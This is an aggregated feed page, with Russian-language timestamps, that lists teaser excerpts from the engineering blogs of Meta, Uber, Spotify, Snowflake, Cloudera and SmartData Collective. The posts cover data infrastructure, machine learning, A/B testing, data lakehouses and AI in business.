3 месяца, 2 недели назад @ engineering.fb.com
VESPA: Static profiling for binary optimization
VESPA: Static profiling for binary optimization

What the research is: Recent research has demonstrated that binary optimization is important for achieving peak performance for various applications. For instance, the state-of-the-art BOLT binary optimizer developed at Meta, which is part of the LLVM Compiler Project, significantly improves the performance of highly optimized binaries produced using compilers’ most aggressive optimizations, such as profile-guided [...]

Read More...

The post VESPA: Static profiling for binary optimization appeared first on Engineering at Meta.

6 месяцев, 2 недели назад @ engineering.fb.com
Uber Engineering
последний пост 1 месяц, 3 недели назад
ML Education at Uber: Program Design and Outcomes
ML Education at Uber: Program Design and Outcomes

Introduction

If you have read our previous article, ML Education at Uber: Frameworks Inspired by Engineering Principles, you have seen several examples of how Uber benefits from applying Engineering Principles to drive the ML Education Program’s content design and …

The post ML Education at Uber: Program Design and Outcomes appeared first on Uber Engineering Blog.

1 месяц, 3 недели назад @ eng.uber.com
ML Education at Uber: Frameworks Inspired by Engineering Principles
ML Education at Uber: Frameworks Inspired by Engineering Principles

Introduction

At Uber, millions of machine learning (ML) predictions are made every second, and hundreds of applied scientists, engineers, product managers, and researchers work on ML solutions daily. Uber wins by scaling machine learning. We recognize org-wide that a …

The post ML Education at Uber: Frameworks Inspired by Engineering Principles appeared first on Uber Engineering Blog.

2 месяца назад @ eng.uber.com
Supercharging A/B Testing at Uber
Supercharging A/B Testing at Uber

Introduction

“Immensely laborious calculations on inferior data may increase the yield from 95 to 100 percent. A gain of 5 percent, of perhaps a small total. A competent overhauling of the process of collection, or of the experimental design, may …

The post Supercharging A/B Testing at Uber appeared first on Uber Engineering Blog.

2 месяца, 1 неделя назад @ eng.uber.com
Uber’s Highly Scalable and Distributed Shuffle as a Service
Uber’s Highly Scalable and Distributed Shuffle as a Service

Uber is a data-driven company that heavily relies on offline and online analytics for decision-making. As Uber’s data grows exponentially every year, it’s crucial to process this data very efficiently and with minimum cost. Over the years, Apache Spark™…

The post Uber’s Highly Scalable and Distributed Shuffle as a Service appeared first on Uber Engineering Blog.

2 месяца, 3 недели назад @ eng.uber.com
Enabling Offline Inferences at Uber Scale
Enabling Offline Inferences at Uber Scale

Introduction

At Uber we use data from user support interactions to identify gaps in our products and create better, more delightful experiences for our users. Support interactions with customers include information about broken product experiences, any technical or operational issues …

The post Enabling Offline Inferences at Uber Scale appeared first on Uber Engineering Blog.

3 месяца, 1 неделя назад @ eng.uber.com
Uber’s Real-Time Document Check
Uber’s Real-Time Document Check

Introduction

Justification for Identity Verification

Latin America is a rich cultural region, known for its world-renowned gastronomy, its abundant biodiversity, and its welcoming population. However, socio-economic inequality has been a challenge for the region, and is generally considered a major …

The post Uber’s Real-Time Document Check appeared first on Uber Engineering Blog.

3 месяца, 2 недели назад @ eng.uber.com
Better Load Balancing: Real-Time Dynamic Subsetting
Better Load Balancing: Real-Time Dynamic Subsetting

Overview

Subsetting is a common technique used in load balancing for large-scale distributed systems. In this blog post, we will briefly introduce Uber’s current service mesh architecture that has been powering thousands of critical microservices in Uber since 2016. We …

The post Better Load Balancing: Real-Time Dynamic Subsetting appeared first on Uber Engineering Blog.

4 месяца, 1 неделя назад @ eng.uber.com
Presto® on Apache Kafka® At Uber Scale
Presto® on Apache Kafka® At Uber Scale

Uber’s goal is to ignite opportunity by setting the world in motion, and big data is a very important part of that. Presto® and Apache Kafka® play critical roles in Uber’s big data stack. Presto is the de …

The post Presto® on Apache Kafka® At Uber Scale appeared first on Uber Engineering Blog.

5 месяцев, 2 недели назад @ eng.uber.com
Securing Kafka® Infrastructure at Uber
Securing Kafka® Infrastructure at Uber

Background

Uber has one of the largest deployments of Apache Kafka® in the world. It empowers a large number of real-time workflows at Uber, including pub-sub message buses for passing event data from the rider and driver apps, as …

The post Securing Kafka® Infrastructure at Uber appeared first on Uber Engineering Blog.

5 месяцев, 3 недели назад @ eng.uber.com
Uber’s Emergency Button and The Technologies Behind It
Uber’s Emergency Button and The Technologies Behind It

Safety has long been a top priority at Uber, as Uber’s CEO Dara Khosrowshahi wrote in ‘Raising the Bar on Safety’ in September 2018. In order to #StandForSafety, the team at Uber has rolled out a set of …

The post Uber’s Emergency Button and The Technologies Behind It appeared first on Uber Engineering Blog.

5 месяцев, 4 недели назад @ eng.uber.com
Avoiding CPU Throttling in a Containerized Environment
Avoiding CPU Throttling in a Containerized Environment

At Uber, all stateful workloads run on a common containerized platform across a large fleet of hosts. Stateful workloads include MySQL®, Apache Cassandra®, ElasticSearch®, Apache Kafka®, Apache HDFS™, Redis™…

The post Avoiding CPU Throttling in a Containerized Environment appeared first on Uber Engineering Blog.

6 месяцев, 1 неделя назад @ eng.uber.com
One Stone, Three Birds: Finer-Grained Encryption @ Apache Parquet™
One Stone, Three Birds: Finer-Grained Encryption @ Apache Parquet™

Overview Data access restrictions, retention, and encryption at rest are fundamental security controls. This blog explains how we have built and utilized open-sourced Apache Parquet™’s finer-grained encryption feature to support all 3 controls in a unified way. In …

The post One Stone, Three Birds: Finer-Grained Encryption @ Apache Parquet™ appeared first on Uber Engineering Blog.

6 месяцев, 2 недели назад @ eng.uber.com
Introducing Ballast: An Adaptive Load Test Framework
Introducing Ballast: An Adaptive Load Test Framework

As Uber’s architecture has grown to encompass thousands of interdependent microservices, we need to test our mission-critical components at max load in order to preserve reliability. Accurate load testing allows us to validate if a set of services are working …

The post Introducing Ballast: An Adaptive Load Test Framework appeared first on Uber Engineering Blog.

6 месяцев, 4 недели назад @ eng.uber.com
Project RADAR: Intelligent Early Fraud Detection System with Humans in the Loop
Project RADAR: Intelligent Early Fraud Detection System with Humans in the Loop

Introduction

Uber is a worldwide marketplace of services, processing thousands of monetary transactions every second. As a marketplace, Uber takes on all of the risks associated with payment processing. Uber partners who use the marketplace to provide services are paid …

The post Project RADAR: Intelligent Early Fraud Detection System with Humans in the Loop appeared first on Uber Engineering Blog.

7 месяцев, 3 недели назад @ eng.uber.com
Cost Efficiency @ Scale in Big Data File Format
Cost Efficiency @ Scale in Big Data File Format

Background

Our Apache Hadoop® based data platform ingests hundreds of petabytes of analytical data with minimum latency and stores it in a data lake built on top of the Hadoop Distributed File System (HDFS). We use Apache Hudi…

The post Cost Efficiency @ Scale in Big Data File Format appeared first on Uber Engineering Blog.

8 месяцев назад @ eng.uber.com
Spotify Engineering Spotify Engineering
последний пост 3 месяца, 1 неделя назад
How We Built Infrastructure to Run User Forecasts at Spotify
How We Built Infrastructure to Run User Forecasts at Spotify How We Built Infrastructure to Run User Forecasts at Spotify

TL;DR With Spotify’s rapid global expansion to more than 180 countries, it’s critical that the infrastructure of user forecasts catch up to business needs. As the business evolves, we need an infrastructure in place that can satisfy the varying needs of stakeholders across the company. To enable fast iterations and facilitate model training, we built [...]

The post How We Built Infrastructure to Run User Forecasts at Spotify appeared first on Spotify Engineering.

3 месяца, 1 неделя назад @ engineering.atspotify.com
Say Hello to the Recipients of the 2022 Spotify FOSS Fund
Say Hello to the Recipients of the 2022 Spotify FOSS Fund Say Hello to the Recipients of the 2022 Spotify FOSS Fund

TL;DR Today we’re announcing the recipients of the first Spotify FOSS Fund. The objective of this fund is to give the independent open source projects we care about a meaningful financial sponsorship to help ensure those projects have the means to continue maintaining and maturing the code we rely on. The 2022 Spotify FOSS Fund [...]

3 месяца, 3 недели назад @ engineering.atspotify.com
Meet Basic Pitch: Spotify’s Open Source Audio-to-MIDI Converter
Meet Basic Pitch: Spotify’s Open Source Audio-to-MIDI Converter Meet Basic Pitch: Spotify’s Open Source Audio-to-MIDI Converter

Introducing Basic Pitch, Spotify’s free open source tool for converting audio into MIDI. Basic Pitch uses machine learning to transcribe the musical notes in a recording. Drop a recording of almost any instrument, including your voice, then get back a MIDI version, just like that. Unlike similar ML models, Basic Pitch is not only versatile [...]

3 месяца, 3 недели назад @ engineering.atspotify.com
The Open Future
The Open Future The Open Future

TL;DR What is the future of open source going to look like? At Spotify, we think it’s important to play an active role in helping to preserve what’s best about the community today while fostering the changes necessary for it to continue to succeed tomorrow. From increasing the impact of the projects we open source, [...]

3 месяца, 4 недели назад @ engineering.atspotify.com
Failing Forward — How We Grow from Incidents
Failing Forward — How We Grow from Incidents Failing Forward — How We Grow from Incidents

This past year, a few of us who focus on the reliability of Spotify for Artists (S4A) spent some time taking a look at the collection of incidents directly affecting S4A in 2021. We made some hypotheses, and then went to work analyzing each one to build a set of quantitative and qualitative metrics. We [...]

4 месяца, 2 недели назад @ engineering.atspotify.com
Supporting Future Engineers: Spotify’s Partnership with The Marcy Lab School
Supporting Future Engineers: Spotify’s Partnership with The Marcy Lab School Supporting Future Engineers: Spotify’s Partnership with The Marcy Lab School

In September 2020, we had the exciting opportunity to partner with The Marcy Lab School with the hopes of creating opportunities for Fellows to: (1) interact with Spotify employees (2) receive training in how to navigate the technical interview process at Spotify and beyond, and (3) become well-versed in the Spotify Internship and Fellowship application [...]

4 месяца, 3 недели назад @ engineering.atspotify.com
Spotify Live: From Live to Recording
Spotify Live: From Live to Recording Spotify Live: From Live to Recording

Spotify Live (formerly Spotify Greenroom) is a platform that democratizes live audio streams. Creators are able to create rooms and stream live directly to fans who join the room. They can also interact directly with their fans either by text chatting in the app or bringing them up as speakers to interact by voice. But [...]

5 месяцев назад @ engineering.atspotify.com
Announcing the Spotify FOSS Fund
Announcing the Spotify FOSS Fund Announcing the Spotify FOSS Fund

TLDR: Spotify is starting a Free and Open Source Software Fund (FOSS Fund) to pay maintainers of independent projects. This new initiative is about giving back to open source developers and is one of the ways we are investing in a more sustainable open source ecosystem for all of us. The fund will start at [...]

5 месяцев, 1 неделя назад @ engineering.atspotify.com
Spotify’s Player API: Your Toolkit for Controlling Spotify Programmatically
Spotify’s Player API: Your Toolkit for Controlling Spotify Programmatically Spotify’s Player API: Your Toolkit for Controlling Spotify Programmatically

In 2017, we launched the Spotify Connect Web API, a set of tools that developers could use to programmatically start, stop, and manage Spotify audio playback from the web. This post presents an overview of what you can do with the API, now called the Player API, and some background information about how it came [...]

5 месяцев, 2 недели назад @ engineering.atspotify.com
Comparing quantiles at scale in online A/B-testing
Comparing quantiles at scale in online A/B-testing Comparing quantiles at scale in online A/B-testing

TL;DR: Using the properties of the Poisson bootstrap algorithm and quantile estimators, we have been able to reduce the computational complexity of Poisson bootstrap difference-in-quantiles confidence intervals enough to unlock bootstrap inference for almost arbitrary large samples. At Spotify, we can now easily calculate bootstrap confidence intervals for difference-in-quantiles in A/B tests with hundreds of [...]

6 месяцев, 1 неделя назад @ engineering.atspotify.com
Zela Taino: iOS Engineer
Zela Taino: iOS Engineer Zela Taino: iOS Engineer

Tell us more about working on Spotify Wrapped… As Tech Lead for Wrapped, I was in charge of laying out the road map for the mobile and backend engineers – as well as working with the brand, design, creative and localization teams to make sure everything went smoothly from an engineering point of view. With [...]

6 месяцев, 1 неделя назад @ engineering.atspotify.com
Introducing Natural Language Search for Podcast Episodes
Introducing Natural Language Search for Podcast Episodes Introducing Natural Language Search for Podcast Episodes

Beyond term-based Search Until recently, Search at Spotify relied mostly on term matching. For example, if you type the query “electric cars climate impact”, Elasticsearch will return search results that contain everything that has each of those query words in its indexed metadata (like in the title of a podcast episode). However, we know users [...]

6 месяцев, 1 неделя назад @ engineering.atspotify.com
Why We Switched Our Data Orchestration Service
Why We Switched Our Data Orchestration Service Why We Switched Our Data Orchestration Service

TL;DR Within Spotify, we run 20,000 batch data pipelines defined in 1,000+ repositories, owned by 300+ teams — daily. The majority of our pipelines rely on two tools: Luigi (for the Python folks) and Flo (for the Java folks). In 2019, the data orchestration team at Spotify decided to move away from these tools. In [...]

6 месяцев, 2 недели назад @ engineering.atspotify.com
Incident Report: Spotify Outage on March 8
Incident Report: Spotify Outage on March 8 Incident Report: Spotify Outage on March 8

On March 8, we experienced a global outage triggered by issues in a cloud-hosted service discovery system used at Spotify. We were made aware of issues with login at 18:12 UTC / 13:12 ET and started implementing fixes to critical systems at 18:39 UTC / 13:39 ET. This outage affected our users and we apologize [...]

6 месяцев, 2 недели назад @ engineering.atspotify.com
Chantal Delfeld: Engineer
Chantal Delfeld: Engineer Chantal Delfeld: Engineer

7:00am My early mornings are spent running about after my children – getting them dressed, giving them breakfast and putting on their sunscreen, so they’re all ready for the day ahead. At 8am, I drive my daughter to preschool, while my mom looks after my one-year-old son – she’s been living with us since the start [...]

6 месяцев, 3 недели назад @ engineering.atspotify.com
Ripple Engineering Ripple Engineering
последний пост None
Dmitry Anoshin recommends
Snowflake
последний пост 9 часов назад
Data Vault Techniques on Snowflake: Conditional Multi-Table INSERT, and Where to Use It
Data Vault Techniques on Snowflake: Conditional Multi-Table INSERT, and Where to Use It

Snowflake continues to set the standard for data in the cloud by removing the need to perform maintenance tasks on your data platform, and giving you the freedom to choose your data model methodology for the cloud. In today’s blog post we will explore the appropriate place to use a conditional multi-table INSERT for your […]

The post Data Vault Techniques on Snowflake: Conditional Multi-Table INSERT, and Where to Use It appeared first on Snowflake.

9 часов назад @ snowflake.com
How to Become a Data Economy Leader: The Rise of the CDO (Chief Data Officer)
How to Become a Data Economy Leader: The Rise of the CDO (Chief Data Officer)

Editor’s note: This is part of a series of blogs about the data economy. Specifically, how Data Economy Leaders are tackling the organizational and cultural shifts to align people, process, and technology with their business strategy to become a data-first business. The catalyst of innovation and transformation is data. The companies that recognize the power […]

The post How to Become a Data Economy Leader: The Rise of the CDO (Chief Data Officer) appeared first on Snowflake.

4 дня, 10 часов назад @ snowflake.com
Data Vault Techniques on Snowflake: Streams and Tasks on Views 
Data Vault Techniques on Snowflake: Streams and Tasks on Views 

Snowflake removes the need to perform maintenance tasks on your data platform and provides you with the freedom to choose your data model methodology for the cloud. When attempting to keep the cost of data processing low, both data volume and velocity can make things challenging. To remedy this, Snowflake introduced streams as a highly […]

The post Data Vault Techniques on Snowflake: Streams and Tasks on Views  appeared first on Snowflake.

6 дней, 8 часов назад @ snowflake.com
Big Data About Big Data
Big Data About Big Data

What’s “big?” When it comes to data, numbers that seemed gigantic a decade ago — or sometimes just a year ago — look smaller in 2022’s rearview mirror. Here are a few snapshots that capture the growth of big data.

The post Big Data About Big Data appeared first on Snowflake.

6 дней, 9 часов назад @ snowflake.com
New Snowflake Features Released in August 2022
New Snowflake Features Released in August 2022

In August, Snowflake released new capabilities for improved performance and account replication, as well as features that enhance warehousing and programmability of data. Read the details below to learn more about this month’s announced upgrades. Performance Update Query compilation time improves by 3.2% on average across all regions Snowflake recently rolled out a performance enhancement […]

The post New Snowflake Features Released in August 2022 appeared first on Snowflake.

1 неделя назад @ snowflake.com
7 Things Customers Will Think When You Offer a Data-Driven Customer Experience
7 Things Customers Will Think When You Offer a Data-Driven Customer Experience

As a consumer, you know the scenario: You research a product online, purchase the item … and the next day you get an email or a retargeted digital ad from the same company, pitching you the exact same product you just bought. This happens because the seller has some lag somewhere in their maze of […]

The post 7 Things Customers Will Think When You Offer a Data-Driven Customer Experience appeared first on Snowflake.

1 неделя, 6 дней назад @ snowflake.com
Data Vault Techniques on Snowflake: Querying Really Big Satellite Tables
Data Vault Techniques on Snowflake: Querying Really Big Satellite Tables

Snowflake continues to set the standard for Data in the Cloud by taking away the need to perform maintenance tasks on your data platform and giving you the freedom to choose your data model methodology for the cloud. Snowflake is a massively parallel platform (MPP) through its proprietary technologies. In this blog post we will […]

The post Data Vault Techniques on Snowflake: Querying Really Big Satellite Tables appeared first on Snowflake.

2 недели назад @ snowflake.com
Are You Ready for the Next Gen of Environmental, Social and Governance (ESG)?
Are You Ready for the Next Gen of Environmental, Social and Governance (ESG)?

Investors, board members, consumers, and regulatory agencies are interested in environmental, social, and governance criteria—a set of business standards often referred to as ESG. The regulatory environment, which is constantly shifting and evolving, spans the globe and yet differs in each geographic region, impacting disclosure environments in different places. As more private and public sector […]

The post Are You Ready for the Next Gen of Environmental, Social and Governance (ESG)? appeared first on Snowflake.

2 недели, 4 дня назад @ snowflake.com
Getting Started with GEOMETRY Data—When a Map Is More Than a Map
Getting Started with GEOMETRY Data—When a Map Is More Than a Map

In part 1 of this blog series, we looked at how Snowflake supports the GEOGRAPHY geospatial data type, which works with the earth as an ellipsoid, measuring distances over a curvature and plotting objects using the latest World Geodetic System, WGS84. We also explained that when you look at the flight path of an airplane […]

The post Getting Started with GEOMETRY Data—When a Map Is More Than a Map appeared first on Snowflake.

2 недели, 5 дней назад @ snowflake.com
8 Reasons to Build Your Cloud Data Lake on Snowflake
8 Reasons to Build Your Cloud Data Lake on Snowflake

You want to enable analytics, data science, or applications with data so you can answer questions, predict outcomes, discover relationships, or grow your business. But to do any of that, data must be stored in a manner to support these outcomes. This may be a simple decision when supporting a small, well-known use case, but […]

The post 8 Reasons to Build Your Cloud Data Lake on Snowflake appeared first on Snowflake.

3 недели, 4 дня назад @ snowflake.com
New Snowflake Features Released in May-July 2022
New Snowflake Features Released in May-July 2022

It’s been a busy summer for Snowflake. We announced a wave of new features and capabilities at our Snowflake Summit Sessions—which drew close to 10,000 in-person attendees and over 200 partners. Read the capsule summaries below and review the Summit recordings for more details on these announcements. Grow Your Business in the Data Cloud Listing […]

The post New Snowflake Features Released in May-July 2022 appeared first on Snowflake.

3 недели, 5 дней назад @ snowflake.com
What’s the Hold-Up With Data-Driven Marketing?
What’s the Hold-Up With Data-Driven Marketing?

Christopher Penn wants an electric vehicle, and he’s engaged directly with two possible car companies. Unfortunately, “these companies are not data-driven,” he says. So what’s the impact on his experience as a potential customer? “The salespeople are pushy, and neither company has asked about the main reason I want an EV—they just make an assumption, […]

The post What’s the Hold-Up With Data-Driven Marketing? appeared first on Snowflake.

3 недели, 5 дней назад @ snowflake.com
Annual NPS Survey Helps Snowflake Support to Continually Improve the Customer Experience
Annual NPS Survey Helps Snowflake Support to Continually Improve the Customer Experience

Snowflake recently announced results from the 2022 Customer Experience Survey. Hopefully, you’ve already heard about Snowflake’s overall Net Promoter Score (NPS) of 72*, a score more than three times the industry average of 21, based on the Qualtrics 2021 NPS Industry Benchmarking Report. The survey also asked customers for feedback on specific Snowflake experiences along […]

The post Annual NPS Survey Helps Snowflake Support to Continually Improve the Customer Experience appeared first on Snowflake.

3 недели, 6 дней назад @ snowflake.com
5 Reasons to Build Your Startup on Snowflake
5 Reasons to Build Your Startup on Snowflake

Startups from all industries across the globe are building innovative products on Snowflake by leveraging our data applications workload. So what’s drawing them to Snowflake? What makes the Data Cloud especially useful and powerful for startup companies? We’ve narrowed down five key reasons why startups are trusting Snowflake to power their product: 1. Your success […]

The post 5 Reasons to Build Your Startup on Snowflake appeared first on Snowflake.

3 недели, 6 дней назад @ snowflake.com
Gaining Insights and a Competitive Edge from Unstructured Data – Snowflake Announces Intent to Acquire Applica
Gaining Insights and a Competitive Edge from Unstructured Data – Snowflake Announces Intent to Acquire Applica

About 80% of the world’s data is unstructured. Unstructured data within documents, emails, web pages, images, comments on blogs and social media sites, and more can be extraordinarily valuable, making the ability to process this kind of data vital for organizations that want to make data-driven decisions. While unstructured data is the biggest by volume—and […]

The post Gaining Insights and a Competitive Edge from Unstructured Data – Snowflake Announces Intent to Acquire Applica appeared first on Snowflake.

1 месяц назад @ snowflake.com
Cloudera Cloudera
последний пост 2 недели, 3 дня назад
The Modern Data Lakehouse: An Architectural Innovation
The Modern Data Lakehouse: An Architectural Innovation

The promise of a modern data lakehouse architecture Imagine having self-service access to all business data, anywhere it may be, and being able to explore it all at once. Imagine quickly answering burning business questions nearly instantly, without waiting for data to be found, shared, and ingested. Imagine independently discovering rich new business insights from […]

The post The Modern Data Lakehouse: An Architectural Innovation appeared first on Cloudera Blog.

2 недели, 3 дня назад @ blog.cloudera.com
Building Custom Runtimes with Editors in Cloudera Machine Learning
Building Custom Runtimes with Editors in Cloudera Machine Learning

Cloudera Machine Learning (CML) is a cloud-native and hybrid-friendly machine learning platform. It unifies self-service data science and data engineering in a single, portable service as part of an enterprise data cloud for multi-function analytics on data anywhere. CML empowers organizations to build and deploy machine learning and AI capabilities for business at scale, efficiently […]

The post Building Custom Runtimes with Editors in Cloudera Machine Learning appeared first on Cloudera Blog.

1 месяц назад @ blog.cloudera.com
How to Use Apache Iceberg in CDP’s Open Lakehouse
How to Use Apache Iceberg in CDP’s Open Lakehouse

In June 2022, Cloudera announced the general availability of Apache Iceberg in the Cloudera Data Platform (CDP). Iceberg is a 100% open-table format, developed through the Apache Software Foundation, which helps users avoid vendor lock-in and implement an open lakehouse. The general availability covers Iceberg running within some of the key data services in CDP, […]

The post How to Use Apache Iceberg in CDP’s Open Lakehouse appeared first on Cloudera Blog.

1 месяц, 2 недели назад @ blog.cloudera.com
Applying Fine Grained Security to Apache Spark
Applying Fine Grained Security to Apache Spark

Fine grained access control (FGAC) with Spark Apache Spark with its rich data APIs has been the processing engine of choice in a wide range of applications from data engineering to machine learning, but its security integration has been a pain point.t Many enterprise customers needi finer granularity of control, in particular at the […]

The post Applying Fine Grained Security to Apache Spark appeared first on Cloudera Blog.

1 месяц, 3 недели назад @ blog.cloudera.com
Supercharge Your Data Lakehouse with Apache Iceberg in Cloudera Data Platform
Supercharge Your Data Lakehouse with Apache Iceberg in Cloudera Data Platform

Cloudera Technology Spotlight

The post Supercharge Your Data Lakehouse with Apache Iceberg in Cloudera Data Platform appeared first on Cloudera Blog.

2 месяца, 4 недели назад @ blog.cloudera.com
The Future of the Data Lakehouse – Open
The Future of the Data Lakehouse – Open

Cloudera customers run some of the biggest data lakes on earth. These lakes power mission critical large scale data analytics, business intelligence (BI), and machine learning use cases, including enterprise data warehouses. In recent years, the term “data lakehouse” was coined to describe this architectural pattern of tabular analytics over data in the data lake. […]

The post The Future of the Data Lakehouse – Open appeared first on Cloudera Blog.

3 месяца, 1 неделя назад @ blog.cloudera.com
Optimizing Hive on Tez Performance
Optimizing Hive on Tez Performance

A guide to tune and troubleshoot performance of the Hive on Tez after upgrading to CDP

The post Optimizing Hive on Tez Performance appeared first on Cloudera Blog.

4 месяца, 2 недели назад @ blog.cloudera.com
From the Ground Up: The Truth About Data Innovation
From the Ground Up: The Truth About Data Innovation

Data holds incredible untapped potential for Australian organisations across industries, regardless of individual business goals, and all organisations are at different points in their data transformation journey with some achieving success faster than others. To be successful, the use of data insights must become a central lifeforce throughout an organisation and not just reside within […]

The post From the Ground Up: The Truth About Data Innovation appeared first on Cloudera Blog.

5 месяцев, 1 неделя назад @ blog.cloudera.com
5 Reasons to Use Apache Iceberg on Cloudera Data Platform (CDP)
5 Reasons to Use Apache Iceberg on Cloudera Data Platform (CDP)

Please join us on March 24 for Future of Data meetup where we do a deep dive into Iceberg with CDP What is Apache Iceberg? Apache Iceberg is a high-performance, open table format, born-in-the cloud that scales to petabytes independent of the underlying storage layer and the access engine layer. By being a truly open […]

The post 5 Reasons to Use Apache Iceberg on Cloudera Data Platform (CDP) appeared first on Cloudera Blog.

6 месяцев, 1 неделя назад @ blog.cloudera.com
Introducing Apache Iceberg in Cloudera Data Platform
Introducing Apache Iceberg in Cloudera Data Platform

Over the past decade, the successful deployment of large scale data platforms at our customers has acted as a big data flywheel driving demand to bring in even more data, apply more sophisticated analytics, and on-board many new data practitioners from business analysts to data scientists. This unprecedented level of big data workloads hasn’t come […]

The post Introducing Apache Iceberg in Cloudera Data Platform appeared first on Cloudera Blog.

7 месяцев назад @ blog.cloudera.com
Make the leap to Hybrid with Cloudera Data Engineering
Make the leap to Hybrid with Cloudera Data Engineering

Introducing Cloudera Data Engineering in CDP Private Cloud 1.3

The post Make the leap to Hybrid with Cloudera Data Engineering appeared first on Cloudera Blog.

7 месяцев, 2 недели назад @ blog.cloudera.com
Cloudera Data Engineering 2021 Year End Review
Cloudera Data Engineering 2021 Year End Review

Since the release of Cloudera Data Engineering (CDE) more than a year ago, our number one goal was operationalizing Spark pipelines at scale with first class tooling designed to streamline automation and observability. In working with thousands of customers deploying Spark applications, we saw significant challenges with managing Spark as well as automating, delivering, […]

The post Cloudera Data Engineering 2021 Year End Review appeared first on Cloudera Blog.

9 месяцев, 1 неделя назад @ blog.cloudera.com
Smart Data
последний пост 3 дня, 9 часов назад
How Technology Has Shaped Organizational Change Management
How Technology Has Shaped Organizational Change Management

Many organizations resist change, whether due to a fear of the unknown or a reluctance to leave the comfort of the status quo. Change is often seen as complicated, time-consuming, and expensive. But organizational change management is a necessary evil. The right approach can allow organizations to improve their operations, become more agile, and compete […]

The post How Technology Has Shaped Organizational Change Management appeared first on SmartData Collective.

3 дня, 9 часов назад @ smartdatacollective.com
Traits AI Startups Seek When Hiring New Employees
Traits AI Startups Seek When Hiring New Employees

Are you launching a new AI startup? You will discover that there are a number of opportunities and challenges of creating a company that develops new AI algorithms to solve problems. The demand for AI technology has surged in recent years. One analysis indicates that 90% of companies have made investments in AI and 37% […]

The post Traits AI Startups Seek When Hiring New Employees appeared first on SmartData Collective.

6 дней, 6 часов назад @ smartdatacollective.com
Best AI Tools for High-Frequency Algorithmic Trading
Best AI Tools for High-Frequency Algorithmic Trading

Artificial intelligence is changing the financial industry in extraordinary ways. DataMotion projects that the fintech sector will spend over $26 billion on AI by 2026. There are many great applications of AI in the financial sector. One of the best is the promise of taking advantage of high-frequency trading. There are a lot of great […]

The post Best AI Tools for High-Frequency Algorithmic Trading appeared first on SmartData Collective.

1 неделя, 6 дней назад @ smartdatacollective.com
AI Technology and Creativity Are Intertwined in Marketing
AI Technology and Creativity Are Intertwined in Marketing

Big data technology has helped many companies improve efficiency and address some of the top challenges they have encountered in recent years. A growing number of businesses have invested in AI to improve their business models. As a result, the market for AI technology is projected to be worth over $420 billion by 2028. Surveys […]

The post AI Technology and Creativity Are Intertwined in Marketing appeared first on SmartData Collective.

2 недели, 3 дня назад @ smartdatacollective.com
Small Businesses Use Data Analytics Tools to Cut Costs as Inflation Rises
Small Businesses Use Data Analytics Tools to Cut Costs as Inflation Rises

Whenever inflation creeps upwards, businesses and consumers alike are compelled to take action or else feel the pain of rising costs putting strain on their finances. Tools which can analyze data and highlight cost-cutting insights are invaluable in this situation, so how are they being used by small businesses in particular to make savings right […]

The post Small Businesses Use Data Analytics Tools to Cut Costs as Inflation Rises appeared first on SmartData Collective.

2 недели, 4 дня назад @ smartdatacollective.com
Tips To Improve App UX with Advanced Mobile Analytics?
Tips To Improve App UX with Advanced Mobile Analytics?

Analytics technology is having a huge impact on many aspects of modern business. One of the most important applications of analytics is with improving the user experience. User experience is a key part of building a successful mobile app. You cannot build a successful business with your app if it doesn’t offer a smooth experience […]

The post Tips To Improve App UX with Advanced Mobile Analytics? appeared first on SmartData Collective.

2 недели, 5 дней назад @ smartdatacollective.com
AI Technology Helps eCommerce Brands Optimize for Mobile
AI Technology Helps eCommerce Brands Optimize for Mobile

Not unless you live in the most remote part of this world or somewhere underground, chances are that you have heard something about Artificial Intelligence (AI). But how does AI technology help eCommerce brands optimize for mobile? Artificial Intelligence is becoming a big part of how different industries operate. The popularity of smart devices, security […]

The post AI Technology Helps eCommerce Brands Optimize for Mobile appeared first on SmartData Collective.

3 недели, 1 день назад @ smartdatacollective.com
5 Ways B2B Companies Can Use Analytics for Pricing
5 Ways B2B Companies Can Use Analytics for Pricing

Analytics technology is very important for modern business. Companies spent over $240 billion on big data analytics last year. That figure is expected to grow as more businesses discover its benefits. There are many important applications of data analytics technology. One of the most important is with helping companies set their prices correctly. Analytics Can […]

The post 5 Ways B2B Companies Can Use Analytics for Pricing appeared first on SmartData Collective.

3 недели, 6 дней назад @ smartdatacollective.com
How To Enhance Your Analytics with Insightful ML Approaches
How To Enhance Your Analytics with Insightful ML Approaches

Did you know that 53% of companies use data analytics technology? Most of these companies have found that is is very useful. It can be even more valuable when used in conjunction with machine learning. Machine Learning Helps Companies Get More Value Out of Analytics There are a lot of benefits of using analytics to […]

The post How To Enhance Your Analytics with Insightful ML Approaches appeared first on SmartData Collective.

4 недели назад @ smartdatacollective.com
AI Helps Automate Tax Compliance Procedures
AI Helps Automate Tax Compliance Procedures

AI technology has helped companies boost profitability and increase efficiency in many ways. According to most surveys, 90% of the most successful companies use AI to some degree. One of the most beneficial applications of AI is in the realm of tax compliance. You can automate your tax compliance process by using sophisticated AI-driven software. […]

The post AI Helps Automate Tax Compliance Procedures appeared first on SmartData Collective.

1 месяц назад @ smartdatacollective.com
Albanian Bitcoin Investors Tap the Power of Predictive Analytics
Albanian Bitcoin Investors Tap the Power of Predictive Analytics

Business Partner Magazine recently published an article on the growing popularity of bitcoin trading in Albania. Many investors have started trading bitcoins and other cryptocurrencies in recent years. Although bitcoin trading is still fairly new to the South European country, these traders have to compete against more experienced investors abroad. Fortunately, there are a number […]

The post Albanian Bitcoin Investors Tap the Power of Predictive Analytics appeared first on SmartData Collective.

1 месяц назад @ smartdatacollective.com
Choosing the Right AI Voice Generator for Training Videos
Choosing the Right AI Voice Generator for Training Videos

Voice generators are viewed as a noble technology that assists the physically challenged population in accessing more features on the internet to live with equitability. It is evident in the market numbers: the market for text-to-speech software that stood at $2 billion in 2020 is expected to rise to $6 billion by the end of […]

The post Choosing the Right AI Voice Generator for Training Videos appeared first on SmartData Collective.

1 месяц назад @ smartdatacollective.com
AI Can Help with Secure Quality Assurance Testing
AI Can Help with Secure Quality Assurance Testing

Artificial intelligence technology has become instrumental to the research and development process. In May, the White House actually unveiled a proposal to increase investments in research and development for AI projects. There are many ways that AI can help with the development and release of new products and services. Most of the discussion focuses on […]

The post AI Can Help with Secure Quality Assurance Testing appeared first on SmartData Collective.

1 месяц назад @ smartdatacollective.com
What’s Happening with AI & Big Data in August 2022
What’s Happening with AI & Big Data in August 2022

Big Data and AI are, perhaps, the most important business technologies of the century, and they are intrinsically related. Every year, the use of AI algorithms and information sets grows and improves. Because of this, businesses become faster and more effective, and the public gets what they want quicker and more often. But what is […]

The post What’s Happening with AI & Big Data in August 2022 appeared first on SmartData Collective.

1 месяц назад @ smartdatacollective.com
Key Reasons Businesses Are Embracing AI
